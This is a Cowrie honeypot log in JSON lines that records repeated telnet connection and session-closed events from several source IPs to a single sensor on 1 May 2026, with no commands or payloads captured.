{"eventid":"cowrie.session.closed","duration":31.627747297286987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:50.037212Z","src_ip":"147.135.136.77","session":"59e4e2aa2a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":55644,"dst_ip":"159.203.135.109","dst_port":23,"session":"be418c7eca56","protocol":"telnet","message":"New connection: 81.30.157.18:55644 (159.203.135.109:23) [session: be418c7eca56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:50.053581Z"}
{"eventid":"cowrie.session.closed","duration":30.89187979698181,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:50.159361Z","src_ip":"85.208.100.77","session":"e454dec061c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.148573875427246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:50.167348Z","src_ip":"81.30.157.18","session":"e3687fb77054","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796993255615234,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:50.209448Z","src_ip":"147.135.136.77","session":"6969754c836d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":44892,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba0f149cfffd","protocol":"telnet","message":"New connection: 85.208.100.77:44892 (159.203.135.109:23) [session: ba0f149cfffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:50.258063Z"}
{"eventid":"cowrie.session.closed","duration":31.294363021850586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:50.292526Z","src_ip":"81.30.157.18","session":"a201e94d87f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.579156637191772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:50.477301Z","src_ip":"168.119.91.149","session":"a73499cd81ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811999559402466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:50.552895Z","src_ip":"168.119.91.149","session":"e5a3d8919b76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48586,"dst_ip":"159.203.135.109","dst_port":23,"session":"b8e9dfed895a","protocol":"telnet","message":"New connection: 51.79.21.139:48586 (159.203.135.109:23) [session: b8e9dfed895a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:50.703667Z"}
{"eventid":"cowrie.session.closed","duration":30.668885946273804,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:51.044213Z","src_ip":"147.135.136.77","session":"94994136f8bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17484402656555,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:51.147317Z","src_ip":"51.79.21.139","session":"74d5f9a72f12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.820386171340942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:51.153563Z","src_ip":"147.135.136.77","session":"b524b02ce2e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48590,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac8f1e72a861","protocol":"telnet","message":"New connection: 51.79.21.139:48590 (159.203.135.109:23) [session: ac8f1e72a861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:51.191341Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48596,"dst_ip":"159.203.135.109","dst_port":23,"session":"32ed7191e9ff","protocol":"telnet","message":"New connection: 51.79.21.139:48596 (159.203.135.109:23) [session: 32ed7191e9ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:51.254445Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":38612,"dst_ip":"159.203.135.109","dst_port":23,"session":"229847e4feff","protocol":"telnet","message":"New connection: 46.101.32.143:38612 (159.203.135.109:23) [session: 229847e4feff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:51.278927Z"}
{"eventid":"cowrie.session.closed","duration":30.492663621902466,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:51.352715Z","src_ip":"51.79.21.139","session":"eeefd186fc74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41674,"dst_ip":"159.203.135.109","dst_port":23,"session":"d775ea31ae4a","protocol":"telnet","message":"New connection: 147.135.136.77:41674 (159.203.135.109:23) [session: d775ea31ae4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:51.372736Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41690,"dst_ip":"159.203.135.109","dst_port":23,"session":"8186c01d5ac4","protocol":"telnet","message":"New connection: 147.135.136.77:41690 (159.203.135.109:23) [session: 8186c01d5ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:51.662909Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34910,"dst_ip":"159.203.135.109","dst_port":23,"session":"5f7a0eaa0f99","protocol":"telnet","message":"New connection: 168.119.91.149:34910 (159.203.135.109:23) [session: 5f7a0eaa0f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:51.929374Z"}
{"eventid":"cowrie.session.closed","duration":30.78372859954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.041853Z","src_ip":"147.135.136.77","session":"0a318ad29bba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41708,"dst_ip":"159.203.135.109","dst_port":23,"session":"600b28280e49","protocol":"telnet","message":"New connection: 147.135.136.77:41708 (159.203.135.109:23) [session: 600b28280e49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.088868Z"}
{"eventid":"cowrie.session.closed","duration":30.911569356918335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.099342Z","src_ip":"37.187.24.227","session":"8210047f6b14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069422483444214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.127073Z","src_ip":"51.79.21.139","session":"3b0789a59efa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34930,"dst_ip":"159.203.135.109","dst_port":23,"session":"9700ab864feb","protocol":"telnet","message":"New connection: 168.119.91.149:34930 (159.203.135.109:23) [session: 9700ab864feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.173609Z"}
{"eventid":"cowrie.session.closed","duration":31.190717935562134,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.232646Z","src_ip":"51.79.21.139","session":"dab1d8d93516","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48598,"dst_ip":"159.203.135.109","dst_port":23,"session":"1215c0b5f108","protocol":"telnet","message":"New connection: 51.79.21.139:48598 (159.203.135.109:23) [session: 1215c0b5f108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.246283Z"}
{"eventid":"cowrie.session.closed","duration":30.963075160980225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.369777Z","src_ip":"147.135.136.77","session":"05a350856585","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76881980895996,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.521357Z","src_ip":"168.119.91.149","session":"cb9f6ea816ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48610,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7309589eac9","protocol":"telnet","message":"New connection: 51.79.21.139:48610 (159.203.135.109:23) [session: a7309589eac9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.526982Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34938,"dst_ip":"159.203.135.109","dst_port":23,"session":"37d1849aea3f","protocol":"telnet","message":"New connection: 168.119.91.149:34938 (159.203.135.109:23) [session: 37d1849aea3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.670333Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34946,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d07079713ad","protocol":"telnet","message":"New connection: 168.119.91.149:34946 (159.203.135.109:23) [session: 8d07079713ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:52.744298Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41716,"dst_ip":"159.203.135.109","dst_port":23,"session":"246767128409","protocol":"telnet","message":"New connection: 147.135.136.77:41716 (159.203.135.109:23) [session: 246767128409]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.036294Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41730,"dst_ip":"159.203.135.109","dst_port":23,"session":"83893aae3639","protocol":"telnet","message":"New connection: 147.135.136.77:41730 (159.203.135.109:23) [session: 83893aae3639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.093082Z"}
{"eventid":"cowrie.session.closed","duration":31.031644582748413,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.099149Z","src_ip":"37.187.24.227","session":"3a1e8beaf1e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.647523403167725,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.113427Z","src_ip":"147.135.136.77","session":"6bf8a04985cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.816229581832886,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.132521Z","src_ip":"147.135.136.77","session":"2314df9d65ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05507516860962,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.165478Z","src_ip":"51.79.21.139","session":"702588855e99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46266,"dst_ip":"159.203.135.109","dst_port":23,"session":"5466dd8009f2","protocol":"telnet","message":"New connection: 37.187.24.227:46266 (159.203.135.109:23) [session: 5466dd8009f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.241542Z"}
{"eventid":"cowrie.session.closed","duration":30.844655752182007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.263078Z","src_ip":"81.30.157.18","session":"3ceaf41f854c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":55648,"dst_ip":"159.203.135.109","dst_port":23,"session":"574b25fb743e","protocol":"telnet","message":"New connection: 81.30.157.18:55648 (159.203.135.109:23) [session: 574b25fb743e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.267592Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":46444,"dst_ip":"159.203.135.109","dst_port":23,"session":"376bdb6dd251","protocol":"telnet","message":"New connection: 37.187.24.227:46444 (159.203.135.109:23) [session: 376bdb6dd251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.316781Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":55654,"dst_ip":"159.203.135.109","dst_port":23,"session":"0bf838e6e5b3","protocol":"telnet","message":"New connection: 81.30.157.18:55654 (159.203.135.109:23) [session: 0bf838e6e5b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.414012Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":55668,"dst_ip":"159.203.135.109","dst_port":23,"session":"10c06fbf2f07","protocol":"telnet","message":"New connection: 81.30.157.18:55668 (159.203.135.109:23) [session: 10c06fbf2f07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.621156Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34952,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a60636ab11e","protocol":"telnet","message":"New connection: 168.119.91.149:34952 (159.203.135.109:23) [session: 5a60636ab11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.677696Z"}
{"eventid":"cowrie.session.closed","duration":31.349411964416504,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.686071Z","src_ip":"81.30.157.18","session":"b987d381c7f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34958,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b62541ee0c1","protocol":"telnet","message":"New connection: 168.119.91.149:34958 (159.203.135.109:23) [session: 9b62541ee0c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:53.768350Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34970,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1c556dabf76","protocol":"telnet","message":"New connection: 168.119.91.149:34970 (159.203.135.109:23) [session: c1c556dabf76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.015990Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41674,"dst_ip":"159.203.135.109","dst_port":23,"session":"03d37ecacab4","protocol":"telnet","message":"New connection: 51.79.21.139:41674 (159.203.135.109:23) [session: 03d37ecacab4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.062399Z"}
{"eventid":"cowrie.session.closed","duration":30.87915587425232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.067564Z","src_ip":"147.135.136.77","session":"f861ae4e6237","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41686,"dst_ip":"159.203.135.109","dst_port":23,"session":"35949eb232c2","protocol":"telnet","message":"New connection: 51.79.21.139:41686 (159.203.135.109:23) [session: 35949eb232c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.142130Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":48266,"dst_ip":"159.203.135.109","dst_port":23,"session":"db5c1ac97069","protocol":"telnet","message":"New connection: 37.187.24.227:48266 (159.203.135.109:23) [session: db5c1ac97069]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.155030Z"}
{"eventid":"cowrie.session.closed","duration":31.03687071800232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.470506Z","src_ip":"147.135.136.77","session":"00544733ae9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.713693618774414,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.518521Z","src_ip":"168.119.91.149","session":"ae76005a8dc5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41736,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc50dff8e128","protocol":"telnet","message":"New connection: 147.135.136.77:41736 (159.203.135.109:23) [session: dc50dff8e128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.624245Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56306,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e44e73c3fb7","protocol":"telnet","message":"New connection: 81.30.157.18:56306 (159.203.135.109:23) [session: 1e44e73c3fb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.675032Z"}
{"eventid":"cowrie.session.closed","duration":31.17839503288269,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.697739Z","src_ip":"168.119.91.149","session":"7c3a47962982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17847514152527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.701996Z","src_ip":"168.119.91.149","session":"ba4ea7fa0b71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.160996437072754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.858044Z","src_ip":"168.119.91.149","session":"4d081229816d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.755329132080078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:54.873321Z","src_ip":"51.79.21.139","session":"7d849f723d64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03829097747803,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.021801Z","src_ip":"147.135.136.77","session":"bc0d62d46751","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913102865219116,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.027797Z","src_ip":"51.79.21.139","session":"e357d6de78ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.712371110916138,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.047108Z","src_ip":"147.135.136.77","session":"517c615fd67e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93312907218933,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.071406Z","src_ip":"51.79.21.139","session":"6a0309b8e406","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34982,"dst_ip":"159.203.135.109","dst_port":23,"session":"d213c0a36ce9","protocol":"telnet","message":"New connection: 168.119.91.149:34982 (159.203.135.109:23) [session: d213c0a36ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.143399Z"}
{"eventid":"cowrie.session.connect","src_ip":"149.102.133.101","src_port":33664,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ca0e6fdfc53","protocol":"telnet","message":"New connection: 149.102.133.101:33664 (159.203.135.109:23) [session: 4ca0e6fdfc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.149882Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56322,"dst_ip":"159.203.135.109","dst_port":23,"session":"21036bbaa052","protocol":"telnet","message":"New connection: 81.30.157.18:56322 (159.203.135.109:23) [session: 21036bbaa052]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.461858Z"}
{"eventid":"cowrie.session.closed","duration":30.81012272834778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.471977Z","src_ip":"168.119.91.149","session":"02e5abfb1155","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":41740,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2a91a62a814","protocol":"telnet","message":"New connection: 147.135.136.77:41740 (159.203.135.109:23) [session: a2a91a62a814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.530430Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":43876,"dst_ip":"159.203.135.109","dst_port":23,"session":"5192c6bfe433","protocol":"telnet","message":"New connection: 147.135.136.77:43876 (159.203.135.109:23) [session: 5192c6bfe433]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.842103Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":41692,"dst_ip":"159.203.135.109","dst_port":23,"session":"e302e4d7764e","protocol":"telnet","message":"New connection: 51.79.21.139:41692 (159.203.135.109:23) [session: e302e4d7764e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:55.981858Z"}
{"eventid":"cowrie.session.closed","duration":30.912927865982056,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.013904Z","src_ip":"51.79.21.139","session":"48463bc9ff1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.538331747055054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.020678Z","src_ip":"51.79.21.139","session":"dffb0ee6a431","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.683971643447876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.024044Z","src_ip":"147.135.136.77","session":"b3f330ead8e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0168936252594,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.060112Z","src_ip":"37.187.24.227","session":"b9356771580b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806581497192383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.063549Z","src_ip":"46.101.32.143","session":"5c9baf938ef8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.615163326263428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.068918Z","src_ip":"147.135.136.77","session":"074467905369","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56336,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a5da66081fb","protocol":"telnet","message":"New connection: 81.30.157.18:56336 (159.203.135.109:23) [session: 7a5da66081fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.081669Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":43888,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0b283dd42d9","protocol":"telnet","message":"New connection: 147.135.136.77:43888 (159.203.135.109:23) [session: a0b283dd42d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.412937Z"}
{"eventid":"cowrie.session.closed","duration":30.909364938735962,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.557110Z","src_ip":"168.119.91.149","session":"21d5d141dd28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837104082107544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.561107Z","src_ip":"168.119.91.149","session":"f2c6f740426e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":34988,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b04e6c318f6","protocol":"telnet","message":"New connection: 168.119.91.149:34988 (159.203.135.109:23) [session: 7b04e6c318f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:56.642620Z"}
